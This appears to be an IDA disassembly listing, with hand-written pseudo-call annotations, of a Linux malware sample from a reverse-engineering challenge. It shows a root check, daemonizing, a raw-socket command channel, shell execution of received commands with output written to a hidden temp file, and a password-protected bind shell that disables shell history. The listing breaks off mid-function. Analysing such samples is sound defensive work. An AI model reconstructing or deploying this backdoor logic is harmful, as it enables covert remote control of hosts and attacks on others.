; ЩЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЛ
; К	This file is generated by The Interactive Disassembler (IDA)	    К
; К			      Freeware version				    К
; К	Copyright (c) 2000 by DataRescue sa/nv,	http://www.datarescue.com   К
; ШЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭМ
;
; File ame   :	C:\WINDOWS\Desktop\Reverse Challenge\the-binary.
; Format      :	ELF (Executable)
; 

		model flat

; ЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭ

; Segment type:	Pure code
; Segment permissions: Read/Execute
_init		segment	para public 'CODE' use32
		assume cs:_init
		;org 8048080h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл


		public _init_proc
_init_proc	proc near		; CODE XREF: start+51p
		call	sub_0_80675A8
		retn	0
_init_proc	endp

_init		ends

; ЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭЭ

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 8048090h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

		public start
start		proc near

var_C		= dword	ptr -0Ch

		pop	ecx
		mov	ebx, esp
		mov	eax, esp
		mov	edx, ecx
		add	edx, edx
		add	edx, edx
		add	eax, edx
		add	eax, 4
		xor	ebp, ebp
		push	ebp
		push	ebp
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	ecx
		mov	eax, 88h
		mov	ebx, 0
		int	$80h		; reserved for BASIC
		mov	eax, [esp+14h+var_C]
		mov	dword_0_806D228, eax
		movzx	eax, word_0_8078B18
		push	eax
		call	sub_0_805756C
		add	esp, 4
		call	sub_0_8056D44
		push	offset _term_proc
		call	sub_0_8055F08
		add	esp, 4
		call	_init_proc
		call	sub_0_8048134
		call	exit(eax)

loc_0_8048100:				; CODE XREF: start+77j
		mov	eax, 1
		int	80h		; reserved for BASIC
		jmp	short loc_0_8048100
start		endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 8

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл


sub_0_8048110	proc near		; CODE XREF: _term_procp
		push	ebx
		mov	ebx, offset dword_0_80792B8
		cmp	ds:dword_0_80792B8, 0
		jz	short loc_0_804812C
		nop	

loc_0_8048120:				; CODE XREF: sub_0_8048110+1Aj
		mov	eax, [ebx]
		call	eax
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_0_8048120

loc_0_804812C:				; CODE XREF: sub_0_8048110+Dj
		pop	ebx
		retn	
sub_0_8048110	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8048134	proc near		; CODE XREF: start+56p

var_44F0	= dword	ptr -44F0h
var_44EC	= dword	ptr -44ECh
var_44E8	= dword	ptr -44E8h
var_44E4	= dword	ptr -44E4h
var_44E0	= dword	ptr -44E0h
var_44DC	= dword	ptr -44DCh
var_44D8	= dword	ptr -44D8h
var_44D4	= dword	ptr -44D4h
var_44D0	= dword	ptr -44D0h
var_44CC	= dword	ptr -44CCh
var_44C8	= dword	ptr -44C8h
var_44C4	= dword	ptr -44C4h
var_44C0	= dword	ptr -44C0h
var_44BC	= byte ptr -44BCh
var_43BC	= byte ptr -43BCh
var_11D8	= byte ptr -11D8h
var_11C8	= word ptr -11C8h
var_11C6	= word ptr -11C6h
var_11C4	= dword	ptr -11C4h
var_11B8	= byte ptr -11B8h
var_1190	= byte ptr -1190h
var_1000	= byte ptr -1000h
var_FFF		= byte ptr -0FFFh
var_FFE		= byte ptr -0FFEh
var_FFD		= byte ptr -0FFDh
var_FFC		= byte ptr -0FFCh
var_FFB		= byte ptr -0FFBh
var_FFA		= byte ptr -0FFAh
var_FF9		= byte ptr -0FF9h
var_FF8		= byte ptr -0FF8h
var_FF7		= byte ptr -0FF7h
var_FF6		= byte ptr -0FF6h
var_FF5		= byte ptr -0FF5h
var_FF4		= byte ptr -0FF4h
var_FF3		= byte ptr -0FF3h
var_FF2		= byte ptr -0FF2h
var_800		= byte ptr -800h
var_7FF		= byte ptr -7FFh
var_7FE		= byte ptr -7FEh
var_7FD		= byte ptr -7FDh
var_7FC		= byte ptr -7FCh
var_7F0		= byte ptr -7F0h
var_7EF		= byte ptr -7EFh
var_7EE		= byte ptr -7EEh
var_7ED		= byte ptr -7EDh
var_7EC		= byte ptr -7ECh
var_7EA		= byte ptr -7EAh
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44F0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_44C0],	1
		lea	edx, [ebp+var_800]
		mov	[ebp+var_44D0],	edx
		lea	ecx, [ebp+var_7EC]
		mov	[ebp+var_44D4],	ecx
		lea	edx, [ebp+var_7EA]
		mov	[ebp+var_44D8],	edx
		mov	[ebp+var_44C4],	10h
		call	geteuid
		test	eax, eax
		jz	short loc_0_804818C
		call	exit(-1)

loc_0_804818C:				; CODE XREF: sub_0_8048134+4Ej
		strlen	([ebx])
		call	memset(edx,0,eax)
		mov	edx, [ebx]
		mov	eax, ds:dword_0_80675D8
		mov	[edx], eax
		mov	eax, ds:dword_0_80675DC
		mov	[edx+4], eax
		mov	ax, ds:word_0_80675E0
		mov	[edx+8], ax
		mov	al, ds:byte_0_80675E2
		mov	[edx+0Ah], al
		call	signal(SIGCHLD, SIG_IGN)
		call	fork
		test	eax, eax
		jz	short loc_0_80481E8
		call	exit(0)

loc_0_80481E8:				; CODE XREF: sub_0_8048134+ABj
		call	setsid
		call	signal(SIGCHLD, SIG_IGN)
		call	fork
		test	eax, eax
		jz	short loc_0_804820C
		call	exit(0)

loc_0_804820C:				; CODE XREF: sub_0_8048134+CCj
		call	chdir('/')
		call	close(0)
		call	close(1)
		call	close(2)
		mov	ds:dword_0_807E774, 0
		mov	ds:dword_0_807E770, 0
		mov	ds:dword_0_807E778, 0
		call	time(0)
		call	rand(eax)
		call	socket(AF_INET,SOCK_RAW,11)
		mov	[ebp+var_44C8],	eax
		call	signal(SIGUP,1)
		call	signal(sigterm,1)
		call	signal(sigup,1)
		call	signal(sigup,1)
		lea	ecx, [ebp+var_1000]
		mov	[ebp+var_44E0],	ecx
		lea	edx, [ebp+var_11B8]
		mov	[ebp+var_44E4],	edx
		nop	

loc_0_80482B0:				; CODE XREF: sub_0_8048134+D91j
		call	recv(var_44c8,var_800,800h,0)
		mov	esi, eax
		mov	edx, [ebp+var_44D0]
		cmp	byte ptr [edx+9], 0Bh
		jnz	loc_0_8048EB8	; default
		mov	ecx, [ebp+var_44D4]
		cmp	byte ptr [ecx],	2
		jnz	loc_0_8048EB8	; default
		cmp	esi, 0C8h
		jle	loc_0_8048EB8	; default
		mov	edx, [ebp+var_44E0]
		push	edx
		mov	ecx, [ebp+var_44D8]
		push	ecx
		lea	eax, [esi-16h]
		push	eax
		call	sub_0_804A1E8
		add	esp, 0Ch
		movzx	eax, [ebp+var_FFF]
		dec	eax
		cmp	eax, 0Bh	; switch 12 cases 
		ja	loc_0_8048EB8	; default
		jmp	ds:off_0_804832C[eax*4]	; switch jump
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
off_0_804832C	dd offset loc_0_804835C	; DATA XREF: sub_0_8048134+1F1r
		dd offset loc_0_80483F0	; jump table for switch	statement
		dd offset loc_0_8048590
		dd offset loc_0_804871C
		dd offset loc_0_80487C8
		dd offset loc_0_8048894
		dd offset loc_0_8048ACC
		dd offset loc_0_8048B58
		dd offset loc_0_8048B80
		dd offset loc_0_8048C34
		dd offset loc_0_8048D08
		dd offset loc_0_8048DE4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804835C:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		mov	al, ds:byte_0_80675E5 ;	case 0
		mov	[ebp+var_800], al
		mov	eax, ds:dword_0_807E77C
		mov	[ebp+var_800], al
		mov	[ebp+var_7FF], 1
		mov	[ebp+var_7FE], 7
		cmp	ds:dword_0_807E774, 0
		jz	short loc_0_80483A0
		mov	[ebp+var_7FD], 1
		mov	eax, ds:dword_0_807E778
		mov	[ebp+var_7FC], al
		jmp	short loc_0_80483A7
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80483A0:				; CODE XREF: sub_0_8048134+254j
		mov	[ebp+var_7FD], 0

loc_0_80483A7:				; CODE XREF: sub_0_8048134+268j
		mov	edx, [ebp+var_44E0]
		push	edx
		lea	eax, [ebp+var_800]
		push	eax
		push	190h
		call	sub_0_804A194
		call	sub_0_8056058
		mov	ecx, 0C9h
		cdq	
		idiv	ecx
		mov	ebx, edx
		lea	eax, [ebx+190h]
		push	eax
		mov	edx, [ebp+var_44E0]
		push	edx
		mov	ecx, [ebp+var_44E4]
		push	ecx
		call	sub_0_8048ECC
		add	esp, 18h
		jmp	loc_0_8048EB8	; default
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80483F0:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		movzx	edx, [ebp+var_FFE] ; case 0x1
		mov	ds:dword_0_807E784, edx
		mov	al, [ebp+var_7F0]
		mov	ds:byte_0_807E780, al
		mov	al, [ebp+var_7EF]
		mov	ds:byte_0_807E781, al
		mov	al, [ebp+var_7EE]
		mov	ds:byte_0_807E782, al
		mov	al, [ebp+var_7ED]
		mov	ds:byte_0_807E783, al
		call	time(0)
		call	rand(eax)
		call	sub_0_8056058
		mov	ecx, 0Ah
		cdq	
		idiv	ecx
		mov	edi, edx
		xor	ebx, ebx
		xor	esi, esi
		nop	

loc_0_8048454:				; CODE XREF: sub_0_8048134+3FEj
		cmp	ebx, edi
		jz	loc_0_804852B
		cmp	ds:dword_0_807E784, 2
		jnz	short loc_0_8048498
		mov	al, [ebp+ebx*4+var_FFD]
		mov	edx, [ebp+var_44E4]
		mov	[edx+esi], al
		mov	al, [ebp+ebx*4+var_FFC]
		mov	[esi+edx+1], al
		mov	al, [ebp+ebx*4+var_FFB]
		mov	[esi+edx+2], al
		mov	al, [ebp+ebx*4+var_FFA]
		jmp	loc_0_8048527
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8048498:				; CODE XREF: sub_0_8048134+32Fj
		call	sub_0_8056058
		mov	[ebp+var_44F0],	eax
		test	eax, eax
		jge	short loc_0_80484B3
		lea	ecx, [eax+0FFh]
		mov	[ebp+var_44F0],	ecx

loc_0_80484B3:				; CODE XREF: sub_0_8048134+371j
		mov	edx, [ebp+var_44E4]
		mov	[esi+edx], al
		call	sub_0_8056058
		mov	[ebp+var_44F0],	eax
		test	eax, eax
		jge	short loc_0_80484D7
		lea	ecx, [eax+0FFh]
		mov	[ebp+var_44F0],	ecx

loc_0_80484D7:				; CODE XREF: sub_0_8048134+395j
		mov	edx, [ebp+var_44E4]
		mov	[esi+edx+1], al
		call	sub_0_8056058
		mov	[ebp+var_44F0],	eax
		test	eax, eax
		jge	short loc_0_80484FC
		lea	ecx, [eax+0FFh]
		mov	[ebp+var_44F0],	ecx

loc_0_80484FC:				; CODE XREF: sub_0_8048134+3BAj
		mov	edx, [ebp+var_44E4]
		mov	[esi+edx+2], al
		call	sub_0_8056058
		mov	[ebp+var_44F0],	eax
		test	eax, eax
		jge	short loc_0_8048521
		lea	ecx, [eax+0FFh]
		mov	[ebp+var_44F0],	ecx

loc_0_8048521:				; CODE XREF: sub_0_8048134+3DFj
		mov	edx, [ebp+var_44E4]

loc_0_8048527:				; CODE XREF: sub_0_8048134+35Ej
		mov	[esi+edx+3], al

loc_0_804852B:				; CODE XREF: sub_0_8048134+322j
		add	esi, 4
		inc	ebx
		cmp	ebx, 9
		jle	loc_0_8048454
		mov	eax, ds:dword_0_807E784
		test	eax, eax
		jnz	short loc_0_8048543
		xor	edi, edi

loc_0_8048543:				; CODE XREF: sub_0_8048134+40Bj
		cmp	eax, 2
		jz	loc_0_8048EB8	; default
		shl	edi, 2
		mov	[ebp+var_44EC],	edi
		mov	al, [ebp+var_FFD]
		mov	ecx, [ebp+var_44E4]
		mov	[edi+ecx], al
		mov	al, [ebp+var_FFC]
		mov	edx, [ebp+var_44EC]
		mov	[edx+ecx+1], al
		mov	al, [ebp+var_FFB]
		mov	[edx+ecx+2], al
		mov	al, [ebp+var_FFA]
		mov	[edx+ecx+3], al
		jmp	loc_0_8048EB8	; default
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8048590:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		call	fork	; case 0x2
		mov	ds:dword_0_807E770, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		call	setsid
		call	signal(sigusr2,1)
		call	fork
		test	eax, eax
		jz	short loc_0_80485D8
		call	sleep(16)
		call	kill(dword_0_807e770,9)
		call	exit(0)

loc_0_80485D8:				; CODE XREF: sub_0_8048134+486j
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_80485DC:				; CODE XREF: sub_0_8048134+4BDj
		mov	al, [ebx+ebp-0FFEh]
		mov	[ebx+ebp-1000h], al
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_0_80485DC
		call	sprintf(var_800,'/bin/csh -f -c \'%s\' 1> %s 2>&1',var_44e0,'/tmp/.hj237349')
		push	ebx
		call	sub_0_80557E8
		call	fopen('/tmp/.hj237349','rb')
		mov	[ebp+var_44DC],	eax
		add	esp, 1Ch
		test	eax, eax
		jz	loc_0_8048712
		xor	edi, edi
		lea	edx, [ebp+var_1190]
		mov	[ebp+var_44E8],	edx

loc_0_8048644:				; CODE XREF: sub_0_8048134+5BFj
		call	fwrite(var_800,1,398,var_44dc) ; 18eh
		mov	esi, eax
		mov	byte ptr [esi+ebp-800h], 0
		xor	ebx, ebx
		add	esp, 10h
		lea	esi, [esi+0]

loc_0_8048670:				; CODE XREF: sub_0_8048134+551j
		mov	al, [ebx+ebp-800h]
		mov	[ebx+ebp-0FFEh], al
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_0_8048670
		test	edi, edi
		jnz	short loc_0_804869C
		mov	[ebp+var_FFF], 3
		mov	edi, 1
		jmp	short loc_0_80486A3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804869C:				; CODE XREF: sub_0_8048134+555j
		mov	[ebp+var_FFF], 4

loc_0_80486A3:				; CODE XREF: sub_0_8048134+563j
		mov	edx, [ebp+var_44E8]
		push	edx
		mov	ecx, [ebp+var_44E0]
		push	ecx
		push	190h
		call	sub_0_804A194
		call	sub_0_8056058
		mov	ecx, 0C9h
		cdq	
		idiv	ecx
		mov	ebx, edx
		lea	eax, [ebx+190h]
		push	eax
		mov	edx, [ebp+var_44E8]
		push	edx
		mov	ecx, [ebp+var_44E4]
		push	ecx
		call	sub_0_8048ECC
		call	usleep(400000)
		add	esp, 1Ch
		test	esi, esi
		jnz	loc_0_8048644
		call	fclose(var_44dc)
		call	unlink('/tmp/.hj237349')

loc_0_8048712:				; CODE XREF: sub_0_8048134+4FCj
		call	exit(0)
		lea	esi, [esi+0]

loc_0_804871C:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		cmp	ds:dword_0_807E774, 0 ;	case 0x3
		jnz	loc_0_8048EB8	; default
		mov	ds:dword_0_807E778, 4
		call	fork
		mov	ds:dword_0_807E774, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+var_1000]
		cld	
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_8048760:				; CODE XREF: sub_0_8048134+641j
		mov	al, [ebx+ebp-44B3h]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_0_8048760
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+var_FF8]
		push	eax
		movzx	eax, [ebp+var_FF9]
		push	eax
		movzx	eax, [ebp+var_FFA]
		push	eax
		push	0
		movzx	eax, [ebp+var_FFB]
		push	eax
		movzx	eax, [ebp+var_FFC]
		push	eax
		movzx	eax, [ebp+var_FFD]
		push	eax
		movzx	eax, [ebp+var_FFE]
		push	eax
		call	sub_0_8049174
		add	esp, 24h
		call	exit(0)

loc_0_80487C8:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		cmp	ds:dword_0_807E774, 0 ;	case 0x4
		jnz	loc_0_8048EB8	; default
		mov	ds:dword_0_807E778, 5
		call	fork
		mov	ds:dword_0_807E774, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+var_1000]
		cld	
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_804880C:				; CODE XREF: sub_0_8048134+6EDj
		mov	al, [ebx+ebp-44AFh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_0_804880C
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+var_FF4]
		push	eax
		movzx	eax, [ebp+var_FF5]
		push	eax
		movzx	eax, [ebp+var_FF6]
		push	eax
		movzx	eax, [ebp+var_FF7]
		push	eax
		movzx	eax, [ebp+var_FF8]
		push	eax
		movzx	eax, [ebp+var_FF9]
		push	eax
		movzx	eax, [ebp+var_FFA]
		push	eax
		movzx	eax, [ebp+var_FFB]
		push	eax
		movzx	eax, [ebp+var_FFC]
		push	eax
		movzx	eax, [ebp+var_FFD]
		push	eax
		movzx	eax, [ebp+var_FFE]
		push	eax
		call	sub_0_80499F4
		add	esp, 30h
		call	exit(0)

loc_0_8048894:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		cmp	ds:dword_0_807E774, 0 ;	case 0x5
		jnz	loc_0_8048EB8	; default
		mov	ds:dword_0_807E778, 6
		call	signal(siguser2,1)
		call	fork
		mov	ds:dword_0_807E774, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		call	setsid
		call	signal(sigusr2,1)
		mov	[ebp+var_11C8],	2
		add	esp, 8
		mov	[ebp+var_11C6],	0F15Ah
		mov	[ebp+var_11C4],	0
		mov	[ebp+var_44C0],	1
		call	socket(AF_INET,SOCK_STREAM,0)
		mov	[ebp+var_44C8],	eax
		call	signal(sigusr2,1)
		call	signal(sigusr2,1)
		call	signal(sigup,1)
		call	signal(sigterm,1)
		call	signal(sigint,1)
		call	setsockopt(var_44c8,SO_DEBUG,2,var_44c0,4)
		call	bind(var_c8,var_11c8,16)
		call	listen(var_44c8,3)
		nop	

loc_0_8048984:				; CODE XREF: sub_0_8048134+882j
		call	accept(var_44c8,var_11d8,var_44c4)
		mov	[ebp+var_44CC],	eax
		test	eax, eax
		jz	loc_0_8048AC4
		call	fork
		test	eax, eax
		jnz	short loc_0_8048984
		call	recv(var_44cc,var_43bc,19,0)
		xor	ebx, ebx

loc_0_80489D4:				; CODE XREF: sub_0_8048134+8CEj
		mov	al, [ebx+ebp-43BCh]
		cmp	al, 0Ah
		jz	short loc_0_80489E3
		cmp	al, 0Dh
		jnz	short loc_0_80489F0

loc_0_80489E3:				; CODE XREF: sub_0_8048134+8A9j
		mov	byte ptr [ebx+ebp-43BCh], 0
		jmp	short loc_0_80489FE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80489F0:				; CODE XREF: sub_0_8048134+8ADj
		mov	[ebx+ebp-43BCh], al
		inc	byte ptr [ebx+ebp-43BCh]

loc_0_80489FE:				; CODE XREF: sub_0_8048134+8B7j
		inc	ebx
		cmp	ebx, 12h
		jle	short loc_0_80489D4
		lea	esi, [ebp+var_43BC]
		mov	edi, offset aTfojg ; "TfOjG"
		mov	ecx, 6
		cld	
		test	al, 0
		repe cmpsb
		jz	short loc_0_8048A44
		call	send(var_44cc,unk_0_806761d,4,0) ; fffb0100
		call	close(var_44cc)
		call	exit(1)

loc_0_8048A44:				; CODE XREF: sub_0_8048134+8E5j
		call	fcntl1(var_44cc,F_DUPFD)
		call	fcntl1(var_44cc,F_getFD)
		call	fcntl1(var_44cc, F_SETFD)
		call	setenv(PATH,/sbin:/bin:/usr/sbin:/usr/bin:/usr/local,1)
		add	esp, 24h
		call	unsetenv(HISTFILE)
		call	setenv(TERM, linux,1)
		call	execl(/bin/sh,sh,0)
		call	close(var_44cc)
		call	exit(0)

loc_0_8048AC4:				; CODE XREF: sub_0_8048134+875j
		call	exit(0)

loc_0_8048ACC:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		call	fork	; case 0x6
		mov	ds:dword_0_807E770, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		call	setsid
		call	signal(sigusr2,1)
		call	fork
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8048B18
		call	sleep(1200)
		call	kill(dword_0_807e770,SIGKILL)
		call	exit(0)

loc_0_8048B18:				; CODE XREF: sub_0_8048134+9C2j
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_8048B1C:				; CODE XREF: sub_0_8048134+9FDj
		mov	al, [ebx+ebp-0FFEh]
		mov	[ebx+ebp-1000h], al
		inc	ebx
		cmp	ebx, 18Dh
		jle	short loc_0_8048B1C
		call	sprintf(var_800,'/bin/csh -f -c \'%s\' ,var_44e0)
		push	ebx
		call	sub_0_80557E8
		call	_exit(0)

loc_0_8048B58:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		mov	eax, ds:dword_0_807E774	; case 0x7
		test	eax, eax
		jz	loc_0_8048EB8	; default
		push	9
		push	eax
		call	kill
		mov	ds:dword_0_807E774, 0
		add	esp, 8
		jmp	loc_0_8048EB8	; default
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8048B80:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		cmp	ds:dword_0_807E774, 0 ;	case 0x8
		jnz	loc_0_8048EB8	; default
		mov	ds:dword_0_807E778, 9
		call	fork
		mov	ds:dword_0_807E774, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+var_1000]
		cld	
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_8048BC4:				; CODE XREF: sub_0_8048134+AA5j
		mov	al, [ebx+ebp-44B2h]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_0_8048BC4
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+var_FF7]
		push	eax
		movzx	eax, [ebp+var_FF8]
		push	eax
		movzx	eax, [ebp+var_FF9]
		push	eax
		movzx	eax, [ebp+var_FFA]
		push	eax
		movzx	eax, [ebp+var_FFB]
		push	eax
		movzx	eax, [ebp+var_FFC]
		push	eax
		movzx	eax, [ebp+var_FFD]
		push	eax
		movzx	eax, [ebp+var_FFE]
		push	eax
		call	sub_0_8049174
		add	esp, 24h
		call	_exit(0)

loc_0_8048C34:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		cmp	ds:dword_0_807E774, 0 ;	case 0x9
		jnz	loc_0_8048EB8	; default
		mov	ds:dword_0_807E778, 0Ah
		call	fork
		mov	ds:dword_0_807E774, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+var_1000]
		cld	
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_8048C78:				; CODE XREF: sub_0_8048134+B59j
		mov	al, [ebx+ebp-44AEh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_0_8048C78
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+var_FF3]
		push	eax
		push	0
		movzx	eax, [ebp+var_FF4]
		push	eax
		movzx	eax, [ebp+var_FF5]
		push	eax
		movzx	eax, [ebp+var_FF6]
		push	eax
		movzx	eax, [ebp+var_FF7]
		push	eax
		movzx	eax, [ebp+var_FF8]
		push	eax
		movzx	eax, [ebp+var_FF9]
		push	eax
		movzx	eax, [ebp+var_FFA]
		push	eax
		movzx	eax, [ebp+var_FFB]
		push	eax
		movzx	eax, [ebp+var_FFC]
		push	eax
		movzx	eax, [ebp+var_FFD]
		push	eax
		movzx	eax, [ebp+var_FFE]
		push	eax
		call	sub_0_8049D40
		add	esp, 38h
		call	_exit(0)

loc_0_8048D08:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		cmp	ds:dword_0_807E774, 0 ;	case 0xa
		jnz	loc_0_8048EB8	; default
		mov	ds:dword_0_807E778, 0Bh
		call	fork
		mov	ds:dword_0_807E774, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+var_1000]
		cld	
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_8048D4C:				; CODE XREF: sub_0_8048134+C2Dj
		mov	al, [ebx+ebp-44ADh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_0_8048D4C
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+var_FF2]
		push	eax
		movzx	eax, [ebp+var_FF3]
		push	eax
		movzx	eax, [ebp+var_FF4]
		push	eax
		movzx	eax, [ebp+var_FF5]
		push	eax
		movzx	eax, [ebp+var_FF6]
		push	eax
		movzx	eax, [ebp+var_FF7]
		push	eax
		movzx	eax, [ebp+var_FF8]
		push	eax
		movzx	eax, [ebp+var_FF9]
		push	eax
		movzx	eax, [ebp+var_FFA]
		push	eax
		movzx	eax, [ebp+var_FFB]
		push	eax
		movzx	eax, [ebp+var_FFC]
		push	eax
		movzx	eax, [ebp+var_FFD]
		push	eax
		movzx	eax, [ebp+var_FFE]
		push	eax
		call	sub_0_8049D40
		add	esp, 38h
		call	_exit(0)

loc_0_8048DE4:				; CODE XREF: sub_0_8048134+1F1j
					; DATA XREF: sub_0_8048134+1F8o
		cmp	ds:dword_0_807E774, 0 ;	case 0xb
		jnz	loc_0_8048EB8	; default
		mov	ds:dword_0_807E778, 0Ch
		call	fork
		mov	ds:dword_0_807E774, eax
		test	eax, eax
		jnz	loc_0_8048EB8	; default
		lea	edi, [ebp+var_44BC]
		lea	esi, [ebp+var_1000]
		cld	
		mov	ecx, 3Fh
		repe movsd
		movsw
		movsb
		xor	ebx, ebx
		lea	esi, [esi]

loc_0_8048E28:				; CODE XREF: sub_0_8048134+D09j
		mov	al, [ebx+ebp-44AEh]
		mov	[ebx+ebp-44BCh], al
		inc	ebx
		cmp	ebx, 0FEh
		jle	short loc_0_8048E28
		lea	eax, [ebp+var_44BC]
		push	eax
		movzx	eax, [ebp+var_FF3]
		push	eax
